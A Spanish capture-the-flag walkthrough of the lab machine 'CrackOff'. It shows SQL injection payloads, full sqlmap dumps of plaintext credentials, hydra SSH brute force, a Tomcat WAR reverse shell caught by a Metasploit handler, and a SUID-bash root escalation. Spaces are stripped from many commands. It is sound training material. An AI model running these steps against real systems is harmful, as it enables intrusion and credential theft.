Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-21 13:57 EDT
Nmap scan report for 172.25.0.2
Host is up (0.000039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3d:fc:bd:41:cb:81:e8:cd:a2:58:5a:78:68:2b:a3:04 (ECDSA)
|_ 256 d8:5a:63:27:60:35:20:30:a9:ec:25:36:9e:50:06:8d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: CrackOff - Bienvenido
MAC Address: 02:42:AC:19:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.07 seconds
Vemos que hay un puerto 80 en el que si intentamos iniciar sesion, vemos que por detras funciona un mysql ya que revisa la autenticacion de los usuarios y si probamos a meter lo siguiente.
User = admin' OR 1=1-- -
Pass = admin' OR 1=1-- -
Vemos que nos deja logearnos, por lo que utilizaremos sqlmap.
sqlmap
Antes de nada capturaremos la peticion con BurpSuit para iniciar el sqlmap mediante ese request.
Una vez hecho lo anterior ahora si explotaremos la base de datos.
sqlmap-rrequest.txt--dbs
Info:
___
__H__
___ ___["]_____ ___ ___ {1.8.7#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:03:25 /2024-08-21/
[14:03:25] [INFO] parsing HTTP request from 'request.txt'
[14:03:25] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.25.0.2/error.php'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
[14:03:28] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:03:28] [INFO] testing if the target URL content is stable
[14:03:28] [WARNING] POST parameter '
username' does not appear to be dynamic
[14:03:28] [WARNING] heuristic (basic) test shows that POST parameter '
username' might not be injectable
[14:03:28] [INFO] testing for SQL injection on POST parameter '
username'
[14:03:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:03:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:03:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:03:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:03:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:03:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:03:28] [INFO] testing 'Generic inline queries'
[14:03:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:03:28] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
[14:03:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:03:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:03:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:03:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:03:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:03:29] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[14:03:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:03:30] [WARNING] POST parameter '
username' does not seem to be injectable
[14:03:30] [WARNING] POST parameter 'password' does not appear to be dynamic
[14:03:30] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[14:03:30] [INFO] heuristic (XSS) test shows that POST parameter 'password' might be vulnerable to cross-site scripting (XSS) attacks
[14:03:30] [INFO] testing for SQL injection on POST parameter 'password'
[14:03:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:03:30] [WARNING] reflective value(s) found and filtering out
[14:03:30] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:03:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:03:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:03:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:03:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:03:30] [INFO] testing 'Generic inline queries'
[14:03:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:03:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:03:30] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:03:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:03:40] [INFO] POST parameter 'password' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[14:03:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:03:54] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:03:54] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[14:03:54] [INFO] target URL appears to have 3 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[14:03:56] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[14:03:56] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[14:03:58] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 202 HTTP(s) requests:
---
Parameter: password (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload:
username=admin&password=admin' AND (SELECT 5760 FROM (SELECT(SLEEP(5)))bBpi) AND 'gWSm'='gWSm
---
[14:04:16] [INFO] the back-end DBMS is MySQL
[14:04:16] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[14:04:16] [INFO] fetching database names
[14:04:16] [INFO] fetching number of databases
[14:04:16] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
4
[14:04:25] [INFO] retrieved:
[14:04:35] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[14:05:32] [INFO] retrieved: performance_schema
[14:06:29] [INFO] retrieved: crackoff_db
[14:07:04] [INFO] retrieved: crackofftrue_db
available databases [4]:
[*] crackoff_db
[*] crackofftrue_db
[*] information_schema
[*] performance_schema
[14:07:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 48 times
[14:07:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.25.0.2'
[*] ending @ 14:07:52 /2024-08-21/
Ahora que sabemos que la base de datos es crackofftrue_db haremos lo siguiente.
___
__H__
___ ___["]_____ ___ ___ {1.8.7#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:10:21 /2024-08-21/
[14:10:21] [INFO] parsing HTTP request from 'request.txt'
[14:10:22] [INFO] resuming back-end DBMS 'mysql'
[14:10:22] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.25.0.2/error.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload:
username=admin&password=admin' AND (SELECT 5760 FROM (SELECT(SLEEP(5)))bBpi) AND 'gWSm'='gWSm
---
[14:10:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[14:10:22] [INFO] fetching tables for database: 'crackofftrue_db'
[14:10:22] [INFO] fetching number of tables for database 'crackofftrue_db'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[14:10:22] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[14:10:22] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[14:10:27] [INFO] retrieved:
[14:10:37] [INFO] adjusting time delay to 1 second due to good response times
users
Database: crackofftrue_db
[1 table]
+-------+
| users |
+-------+
[14:10:51] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.25.0.2'
[*] ending @ 14:10:51 /2024-08-21/
Sabiendo que la tabla se llama users haremos lo siguiente.
___
__H__
___ ___[,]_____ ___ ___ {1.8.7#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:11:46 /2024-08-21/
[14:11:46] [INFO] parsing HTTP request from 'request.txt'
[14:11:46] [INFO] resuming back-end DBMS 'mysql'
[14:11:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.25.0.2/error.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload:
username=admin&password=admin' AND (SELECT 5760 FROM (SELECT(SLEEP(5)))bBpi) AND 'gWSm'='gWSm
---
[14:11:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[14:11:46] [INFO] fetching columns for table 'users' in database 'crackofftrue_db'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[14:11:46] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[14:11:47] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[14:12:02] [INFO] adjusting time delay to 1 second due to good response times
3
[14:12:02] [INFO] retrieved: id
[14:12:08] [INFO] retrieved: int
[14:12:20] [INFO] retrieved: password
[14:12:48] [INFO] retrieved: varchar(50)
[14:13:22] [INFO] retrieved: username
[14:13:45] [INFO] retrieved: varchar(50)
Database: crackofftrue_db
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+
[14:14:19] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.25.0.2'
[*] ending @ 14:14:19 /2024-08-21/
Ahora sabiendo como se compone nuestra tabla, podremos ver lo que contiene.
___
__H__
___ ___[(]_____ ___ ___ {1.8.7#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:14:52 /2024-08-21/
[14:14:52] [INFO] parsing HTTP request from 'request.txt'
[14:14:52] [INFO] resuming back-end DBMS 'mysql'
[14:14:52] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.25.0.2/error.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload:
username=admin&password=admin' AND (SELECT 5760 FROM (SELECT(SLEEP(5)))bBpi) AND 'gWSm'='gWSm
---
[14:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[14:14:52] [INFO] fetching columns for table 'users' in database 'crackofftrue_db'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[14:14:52] [INFO] resumed: 3
[14:14:52] [INFO] resumed: id
[14:14:52] [INFO] resumed: password
[14:14:52] [INFO] resumed: username
[14:14:52] [INFO] fetching entries for table 'users' in database 'crackofftrue_db'
[14:14:52] [INFO] fetching number of entries for table 'users' in database 'crackofftrue_db'
[14:14:52] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[14:14:52] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[14:15:08] [INFO] adjusting time delay to 1 second due to good response times
2
[14:15:11] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
1
[14:15:13] [INFO] retrieved: password123
[14:15:47] [INFO] retrieved: rejetto
[14:16:11] [INFO] retrieved: 2
[14:16:15] [INFO] retrieved: alicelaultramejor
[14:17:03] [INFO] retrieved: tomitoma
[14:17:30] [INFO] retrieved: 3
[14:17:33] [INFO] retrieved: passwordinhack
[14:18:18] [INFO] retrieved: alice
[14:18:31] [INFO] retrieved: 4
[14:18:35] [INFO] retrieved: supersecurepasswordultra
[14:19:51] [INFO] retrieved: whoami
[14:20:10] [INFO] retrieved: 5
[14:20:14] [INFO] retrieved: estrella_big
[14:20:53] [INFO] retrieved: pip
[14:21:06] [INFO] retrieved: 6
[14:21:11] [INFO] retrieved: colorcolorido
[14:21:56] [INFO] retrieved: rufus
[14:22:12] [INFO] retrieved: 7
[14:22:17] [INFO] retrieved: ultramegaverypasswordhack
[14:23:32] [INFO] retrieved: jazmin
[14:23:51] [INFO] retrieved: 8
[14:23:56] [INFO] retrieved: unbreackroot
[14:24:34] [INFO] retrieved: rosa
[14:24:46] [INFO] retrieved: 9
[14:24:49] [INFO] retrieved: happypassword
[14:25:36] [INFO] retrieved: mario
[14:25:50] [INFO] retrieved: 10
[14:25:54] [INFO] retrieved: admin12345password
[14:26:49] [INFO] retrieved: veryhardpassword
[14:27:41] [INFO] retrieved: 11
[14:27:45] [INFO] retrieved: carsisgood
[14:28:15] [INFO] retrieved: root
[14:28:32] [INFO] retrieved: 12
[14:28:36] [INFO] retrieved: badmenandwomen
[14:29:19] [INFO] retrieved: admin
Database: crackofftrue_db
Table: users
[12 entries]
+----+---------------------------+------------------+
| id | password | username |
+----+---------------------------+------------------+
| 1 | password123 | rejetto |
| 2 | alicelaultramejor | tomitoma |
| 3 | passwordinhack | alice |
| 4 | supersecurepasswordultra | whoami |
| 5 | estrella_big | pip |
| 6 | colorcolorido | rufus |
| 7 | ultramegaverypasswordhack | jazmin |
| 8 | unbreackroot | rosa |
| 9 | happypassword | mario |
| 10 | admin12345password | veryhardpassword |
| 11 | carsisgood | root |
| 12 | badmenandwomen | admin |
+----+---------------------------+------------------+
[14:29:34] [INFO] table 'crackofftrue_db.users' dumped to CSV file '/root/.local/share/sqlmap/output/172.25.0.2/dump/crackofftrue_db/users.csv'
[14:29:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.25.0.2'
[*] ending @ 14:29:34 /2024-08-21/
Por lo que vemos, vemos muchos usuarios y contraseñas, por lo que nos haremos un diccionario de usuarios y passwords con hydra para ver cual de todos es accesible por ssh.
hydra
users.txt
rejetto
alice
tomitoma
whoami
pip
rufus
jazmin
rosa
mario
veryhardpassword
root
admin
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-21 14:30:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 144 login tries (l:12/p:12), ~3 tries per task
[DATA] attacking ssh://172.25.0.2:22/
[22][ssh] host: 172.25.0.2 login: rosa password: ultramegaverypasswordhack
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-21 14:30:54
Por lo que vemos hemos sacado un usuario, asi que nos metemos por ssh mediante esas credenciales.
SSH
sshrosa@<IP>
Metemos la contraseña obtenida y ya estariamos dentro.
Puerto tomcat tunelizado a host
Si vemos los puertos que hay activos o abiertos en este momento, veremos lo siguiente.
netstat-punta
Info:
(No info could be read for "-p": geteuid()=1002 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.11:41443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 268 172.25.0.2:22 172.25.0.1:41482 ESTABLISHED -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.11:50961 0.0.0.0:*
Vemos que hay un puerto 8080 ejecutandose en local que ese puerto esta por defecto para el tomcat, por lo que nos lo pasaremos a nuestro host mediante una tunelizacion del puerto con ayuda de la herramienta del ssh.
Saldremos de la sesion del usuario rosa y nos volveremos a conectar a ella con el siguiente comando.
sshrosa@<IP>-L8080:127.0.0.1:8080
Metemos la contraseña y sin salirnos de la sesion, nos vamos a una pagina web en nuestro navegador del host poniendo la siguiente direccion URL.
URL = http://127.0.0.1:8080/
Por lo que podremos ver, veremos un tomcat en funcionamiento y si nos vamos a la direccion del panel del login del administrador, veremos que esta por defecto haciendo lo siguiente.
URL = http://127.0.0.1:8080/manager/
Nos pedira unas credenciales, por lo que haremos fuerza bruta con la lista de usuarios y contraseñas que ya recopilamos anteriormente.
Por lo que vemos nos saco unas credenciales, las cuales utilizaremos para logearnos en tomcat.
User = tomitoma
Pass = supersecurepasswordultra
Una vez estando dentro del panel de administrador de tomcat, subiremos una aplicacion con una Reverse Shell para obtener acceso mediante el usuario tomcat.
Escalate user tomcat
Generaremos la aplicacion maliciosa para que lo pueda soportar tomcat.
Una vez generada, dentro del panel le daremos a subir archivo y seleccionaremos el archivo revshell.war, una vez subido, veremos que se añadio en la seccion de aplicaciones, por lo que antes de darle al archivo y ejecutarlo en la interfaz grafica estaremos a la escucha con metasploit.
Escucha de metasploit
Nos crearemos un archivo para automatizar la escucha.
handler.rc
nanohandler.rc#Dentro del nanousemulti/handlersetpayloadjava/jsp_shell_reverse_tcpsetLHOST<IP>setLPORT<PORT>run
msfconsole-q-rhandler.rc
Info:
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
resource (handler.rc)> set LHOST 192.168.5.145
LHOST => 192.168.5.145
resource (handler.rc)> set LPORT 7777
LPORT => 7777
resource (handler.rc)> run
[*] Started reverse TCP handler on 192.168.5.145:7777
Y con esto veremos que estamos a la escucha, por lo que ya ejecutaremos la aplicacion dandole click en ella.
Una vez hecho eso si volvemos a la escucha tardara un poco pero obtendremos una shell y si hacemos whoami veremos que somos el usuario tomcat.
[*] Command shell session 1 opened (192.168.5.145:7777 -> 172.25.0.2:35834) at 2024-08-21 14:51:50 -0400
whoami
tomcat
Y listamos los archivos veremos un archivo raro llamado mario.txt que si lo leeremos veremos lo siguiente.
mario:marioeseljefe
Son las credenciales del usuario mario por lo que nos conectaremos por ssh.
SSH con mario
sshmario@<IP>
Metemos la contraseña obtenida y ya estariamos dentro por lo que leeremos la flag.
user.txt
d099be3ff7be7294c9344daadebca767
Si listamos nuestra home veremos lo siguiente.
total 40
drwxr-x--- 1 mario mario 4096 Aug 21 20:55 .
drwxr-xr-x 1 root root 4096 Aug 21 19:06 ..
-rw------- 1 mario mario 18 Aug 21 19:07 .bash_history
-rw-r--r-- 1 mario mario 220 Aug 21 15:00 .bash_logout
-rw-r--r-- 1 mario mario 3771 Aug 21 19:06 .bashrc
drwx------ 2 mario mario 4096 Aug 21 20:55 .cache
-rw-r--r-- 1 mario mario 807 Aug 21 15:00 .profile
-rw-r--r-- 1 mario mario 1797 Aug 21 19:13 alice.kdbx
-rw-r--r-- 1 root root 33 Aug 21 19:02 user.txt
keepassxc
Vemos un archivo keepass llamado alice.kdbx, por lo que nos lo pasaremos a nuestro host para trabajar con el.
python3-mhttp.server7755
Y en nuestro host nos lo descargamos.
wgethttp://<IP>:7755/alice.kdbx
Info:
--2024-08-21 14:58:51-- http://172.25.0.2:7755/alice.kdbx
Connecting to 172.25.0.2:7755... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1797 (1.8K) [application/octet-stream]
Saving to: ‘alice.kdbx’
alice.kdbx 100%[=================================================================================================>] 1.75K --.-KB/s in 0s
2024-08-21 14:58:51 (294 MB/s) - ‘alice.kdbx’ saved [1797/1797]
Una vez que ya lo tengamos en nuestro host cerramos el servidor de python3 de la maquina victima.
Si intentamos utilziar la herramienta keepass2john veremos que no se puede, por lo que si intentamos abrir la base de datos de ese keepass nos pedira una contarseña, pero esa contarseña la encontraremos si nos vamos con el usuario mario a la siguiente ubicacion.
cd/var/www/alice_note
Y si listamos veremos un archivo llamado note.txt que si lo leemos pone lo siguiente.
flowerpower
Por lo que esa sera la contraseña del keepass.
Escalate user alice
En nuestro host nos instalamos keepassxc para poder cargar la base de datos.
apt install keepassxc
Lo ejecutamos.
keepassxc
Y nos abrira un entorno grafico para seleccionar la base de datos, seleccionaremos el archivo alice.kdbx y nos pedira la contraseña, metemos flowerpower y nos desbloqueara la base de datos dentro de la misma encontramos una carpeta con las credenciales del usuario alice.
Por lo que vemos la contraseña de alice es superalicepassword, asi que cambiaremos de usuario haciendo lo siguiente.
su alice
Y metemos la contraseña obtenida, con esto ya seremos el usuario alice.
Escalate Privileges
Si vemos los procesos haciendo el siguiente comando.
ps -aux
Info:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 28.9 0.0 2800 2048 ? Ss 19:56 20:24 /bin/sh -c service ssh start && service apache2 start && service tomcat start && service mysql start && while true; d
root 15 0.0 0.0 12020 4104 ? Ss 19:56 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root 33 0.1 0.2 203852 22448 ? Ss 19:56 0:07 /usr/sbin/apache2 -k start
www-data 38 0.0 0.2 204776 21580 ? S 19:56 0:01 /usr/sbin/apache2 -k start
www-data 39 0.0 0.1 204644 17740 ? S 19:56 0:01 /usr/sbin/apache2 -k start
www-data 40 0.0 0.1 204644 16972 ? S 19:56 0:01 /usr/sbin/apache2 -k start
www-data 41 0.0 0.1 204652 17228 ? S 19:56 0:01 /usr/sbin/apache2 -k start
www-data 42 0.0 0.1 204644 16972 ? S 19:56 0:01 /usr/sbin/apache2 -k start
tomcat 59 1.3 2.8 7684132 281484 ? Sl 19:56 0:58 /usr/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apa
mysql 108 0.0 0.0 2800 1792 ? S 19:56 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 259 3.8 4.3 2674020 434528 ? Sl 19:56 2:44 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --log-error=/var/log/mysq
www-data 17278 0.0 0.1 204644 17228 ? S 19:57 0:02 /usr/sbin/apache2 -k start
www-data 523348 0.0 0.1 204636 16844 ? S 20:12 0:00 /usr/sbin/apache2 -k start
root 1425438 0.0 0.0 14444 7592 ? Ss 20:38 0:00 sshd: rosa [priv]
rosa 1431710 0.0 0.0 14852 6440 ? S 20:38 0:00 sshd: rosa@pts/0
rosa 1431756 0.0 0.0 5016 3840 pts/0 Ss+ 20:38 0:00 -bash
root 2007627 0.0 0.0 14444 7500 ? Ss 20:55 0:00 sshd: mario [priv]
mario 2008261 0.2 0.0 14704 6440 ? S 20:55 0:01 sshd: mario@pts/2
mario 2008307 0.0 0.0 5016 3968 pts/2 Ss 20:55 0:00 -bash
root 2367378 0.1 0.0 6744 4664 pts/2 S 21:06 0:00 su alice
alice 2367871 0.6 0.0 5016 3968 pts/2 S 21:06 0:00 bash
alice 2373823 0.0 0.0 9632 4864 pts/2 R+ 21:07 0:00 ps -aux
Vemos que se esta ejecutando en blucle por root un archivo llamado boss en la carpeta /opt/alice y si vamos a esa direccion y vemos que permisos tiene ese archivo...
cd /opt/alice
ls -la boss
Info:
-rwxrwxrwx 1 root root 95 Aug 21 15:37 boss
Vemos que podemos escribir en el, por lo que haremos lo siguiente.
nano boss
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
Lo guardamos y esperamos, si comprobamos que haya funcionado de la siguiente forma.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 10:41 /bin/bash
Veremos que ha funcionado, por lo que haremos lo siguiente.
bash -p
Y con esto seremos root, por lo que leeremos la flag.
